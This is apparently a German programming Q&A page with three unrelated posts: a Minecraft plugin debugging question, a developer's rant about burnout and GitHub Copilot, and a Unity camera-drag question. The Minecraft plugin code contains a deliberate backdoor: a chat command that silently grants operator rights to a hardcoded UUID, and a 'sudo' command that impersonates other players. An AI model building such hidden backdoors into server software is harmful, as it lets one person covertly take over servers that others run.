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Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin

Wollt ihr für immer Programmierer bleiben?

Ich bin Programmierer und bin extrem erschöpft von der Arbeit. Ich gebe zu ich bin nicht der beste Programmierer. An sich macht es mir Spaß zu programmieren, aber die Anwendungen werden immer riesiger, komplexer und haben immer mehr Fehler.

Dadurch ist man durchgehend in der Arbeit mit extrem komplizierten Aufgaben beschäftigt. Ich blicke teilweise nicht mehr durch und meine Kollegen auch nicht. Aber die nehmen es mit Humor und meinen, dass wir ja gutes Geld verdienen und einen sicheren Job haben.

Wir machen nur Überstunden und lernen ständig privat neue frameworks, Programmiersprachen und irgendeinen anderen Unsinn, der wichtig ist für neue Projekte. Mich persönlich macht das soooo müde nach der Arbeit.

Seit neuestem benutzen wir GitHub-Copilot und ich hatte mir erhofft, dass wir dadurch produktiver werden. Mich hat es vllt zu 10% produktiver gemacht. Unser Abteilungsleiter, der wirklich keine Ahnung von Programmieren hat, erwartet jetzt viel mehr von uns, da er meinte, dass Copilot doch 40% des Code schreibt. Der Typ versteht einfach NICHT wie programmieren funktioniert. Wir arbeiten jetzt noch mehr als vorher. Ich könnte heulen!!!!

Ich habe die Sorge, dass die Anwendungen in der Zukunft sogar noch komplizierter werden und ich irgendwann mal nur noch Überstunden mache. Ich habe gehört, dass KI-Entwicklung immer leichter werden soll, wodurch das ein Grundskill für uns Programmierer in der Zukunft sein wird. Man ich habe kein Bock das auch noch zu lernen... Wir lernen, lernen und lernen... Das hört einfach nicht auf!

Also wie ergeht es euch auf der Arbeit. Könnt ihr euch vorstellen das für immer zu machen?

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Kamera Movement in Unity?

Hallo,

ich bin relativ neu in Unity und bin gerade dabei, eine Szene zu erstellen, wobei man die Kamera, wenn man die rechte Maustaste gedrückt hält, verschieben kann.

Die Szene ist isotropisch, weshalb die Kamera auch orthographisch ist.

[SerializeField] private Camera cam;
private Vector3 dragOrigin = Vector3.zero;
public float speed = 10;
    
void Update(){
    if(Input.GetMouseButtonDown(1)){
        dragOrigin = cam.ScreenToWorldPoint(Input.mousePosition);
    }
    if(Input.GetMouseButton(1)){
        Vector3 difference = cam.ScreenToWorldPoint(Input.mousePosition) - cam.transform.position;
        Vector3 targetPosition = dragOrigin - difference;
            
        cam.transform.position = Vector3.Lerp(cam.transform.position, targetPosition, speed * Time.deltaTime);
    }
}

Das funktioniert eigentlich auch, nur gibt es das Problem, dass sich der y-Wert der Kamera auch ändert. Die sollte immer auf dem gleichen y-Wert bleiben.

Wenn ich

targetPosition.y = cam.transform.position.y;

schreibe, bleibt zwar die Kamera auf der gleichen y-Position, aber die Kamera verschiebt sich nach oben und unten langsamer.

Wie kann ich den Code umschreiben, dass sich bei der Kamera nur die x-/ und z-Position ändert und das Verschieben in allen Richtungen gleich schnell geht?

Danke im Voraus.

Software, Kamera, programmieren, C Sharp, Visual Studio, Unity, Game-Developement

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